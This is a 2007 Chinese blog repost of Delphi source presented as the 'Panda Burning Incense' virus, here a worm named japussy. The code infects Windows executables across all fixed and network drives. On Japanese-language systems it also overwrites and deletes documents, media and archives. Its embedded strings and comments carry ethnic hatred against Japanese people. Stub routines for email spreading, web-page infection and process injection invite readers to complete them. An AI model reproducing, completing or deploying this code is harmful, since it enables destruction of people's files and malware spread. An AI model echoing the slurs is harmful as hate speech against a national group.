标题：【转】传说中的熊猫烧香
出处：Felix021
时间：Sat, 08 Dec 2007 12:38:47 +0000
作者：felix021
地址：https://www.felix021.com/blog/read.php?478

内容：
from http://hi.baidu.com/ftw118/blog/item/1d4904d70456c8dca144df8c.html

传说中的熊猫烧香源代码


program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432;              //病毒体的大小
iconoffset = $12eb8;            //pe文件主图标的偏移量

//在我的delphi5 sp1上面编译得到的大小，其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
  
{
headersize = 38912;              //upx压缩过病毒体的大小
iconoffset = $92bc;              //upx压缩过pe文件主图标的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize    = $2e8;              //pe文件主图标的大小--744字节
icontail    = iconoffset + iconsize; //pe文件主图标的尾部
id        = $44444444;          //感染标记

//垃圾码，以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
         'if a country need to be destroyed, it must be japan! ' +
         '*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer; 
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si:      startupinfo;
pi:      process_information;
isjap:    boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
   exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
   result := true;
end;
{ 在流之间复制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来，以备使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
   sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
   try
     dstream := tfilestream.create(filename, fmcreate);
     try
     sstream.seek(headersize, 0); //跳过头部的病毒部分
     dstream.copyfrom(sstream, sstream.size - headersize);
     finally
     dstream.free;
     end;
   finally
     sstream.free;
   end;
except
end;
end;
{ 填充startupinfo结构 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出错则文件正在被使用，退出
   if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
     exit;
   infected := false;
   ispe    := false;
   srcstream := tfilestream.create(filename, fmopenread);
   try
     for i := 0 to $108 do //检查pe文件头
     begin
     srcstream.seek(i, sofrombeginning);
     srcstream.read(buf, 2);
     if (buf[0] = #80) and (buf[1] = #69) then //pe标记
     begin
       ispe := true; //是pe文件
       break;
     end;
     end;
     srcstream.seek(-4, sofromend); //检查感染标记
     srcstream.read(iid, 4);
     if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
     infected := true;
   finally
     srcstream.free;
   end;
   if infected or (not ispe) then //如果感染过了或不是pe文件则退出
     exit;
   icostream := tmemorystream.create;
   dststream := tmemorystream.create;
   try
     aicon := ticon.create;
     try
     //得到被感染文件的主图标(744字节)，存入流
     aicon.releasehandle;
     aicon.handle := extracticon(hinstance, pchar(filename), 0);
     aicon.savetostream(icostream);
     finally
     aicon.free;
     end;
     srcstream := tfilestream.create(filename, fmopenread);
     //头文件
     hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
     try
     //写入病毒体主图标之前的数据
     copystream(hdrstream, 0, dststream, 0, iconoffset);
     //写入目前程序的主图标
     copystream(icostream, 22, dststream, iconoffset, iconsize);
     //写入病毒体主图标到病毒体尾部之间的数据
     copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
     //写入宿主程序
     copystream(srcstream, 0, dststream, headersize, srcstream.size);
     //写入已感染的标记
     dststream.seek(0, 2);
     iid := $44444444;
     dststream.write(iid, 4);
     finally
     hdrstream.free;
     end;
   finally
     srcstream.free;
     icostream.free;
     dststream.savetofile(filename); //替换宿主文件
     dststream.free;
   end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
   setfileattributes(pchar(filename), 0); //去掉只读属性
   filehandle := fileopen(filename, fmopenwrite); //打开文件
   try
     size := getfilesize(filehandle, nil); //文件大小
     i := 0;
     randomize;
     max := random(15); //写入垃圾码的随机次数
     if max < 5 then
     max := 5;
     mass := size div max; //每个间隔块的大小
     len := length(catchword);
     while i < max do
     begin
     fileseek(filehandle, i * mass, 0); //定位
     //写入垃圾码，将文件彻底破坏掉
     filewrite(filehandle, catchword, len);
     inc(i);
     end;
   finally
     fileclose(filehandle); //关闭文件
   end;
   deletefile(pchar(filename)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
   d := chr(i + 65);
   str := d + ':\';
   disktype := getdrivetype(pchar(str));
   //得到本地磁盘和网络盘
   if (disktype = drive_fixed) or (disktype = drive_remote) then
     result := result + d;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
   if (searchrec.attr <> 16) and (searchrec.name <> '.') and
     (searchrec.name <> '..') then
     result := 0 //不是目录
   else if (searchrec.attr = 16) and (searchrec.name <> '.') and
     (searchrec.name <> '..') then
     result := 1 //不是根目录
   else result := 2; //是根目录
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
   repeat
     peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列，避免引起怀疑
     if isvaliddir(searchrec) = 0 then
     begin
     fn := path + searchrec.name;
     ext := uppercase(extractfileext(fn));
     if (ext = '.exe') or (ext = '.scr') then
     begin
       infectonefile(fn); //感染可执行文件     
     end
     else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
     begin
       //感染html和asp文件，将base64编码后的病毒写入
       //感染浏览此网页的所有用户
       //哪位大兄弟愿意完成之？
     end
     else if ext = '.wab' then //outlook地址簿文件
     begin
       //获取outlook邮件地址
     end
     else if ext = '.adc' then //foxmail地址自动完成文件
     begin
       //获取foxmail邮件地址
     end
     else if ext = 'ind' then //foxmail地址簿文件
     begin
       //获取foxmail邮件地址
     end
     else 
     begin
       if isjap then //是倭文操作系统
       begin
         if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
         (ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
         (ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
         (ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
         (ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
         (ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
           smashfile(fn); //摧毁文件
       end;
     end;
     end;
     //感染或删除一个文件后睡眠200毫秒，避免cpu占用率过高引起怀疑
     sleep(200);
   until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
   repeat
     if isvaliddir(searchrec) = 1 then
     subdir.add(searchrec.name);
   until (findnext(searchrec) <> 0);
   end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
   loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
   isjap := true; //去死吧！
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
   for i := len downto 1 do //遍历每个磁盘驱动器
     loopfiles(driverlist + ':\', '*.*'); //感染之
   sendmail; //发带毒邮件
   sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
   registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
   //远程线程映射到explorer进程
   //哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
   infectfiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
   tmpfile := paramstr(0); //创建临时文件
   delete(tmpfile, length(tmpfile) - 4, 4);
   tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件，多一个空格
   extractfile(tmpfile); //分离之
   fillstartupinfo(si, sw_showdefault);
   createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
     0, nil, '.', si, pi); //创建新进程运行之
   infectfiles; //感染和发邮件
end;
end. 



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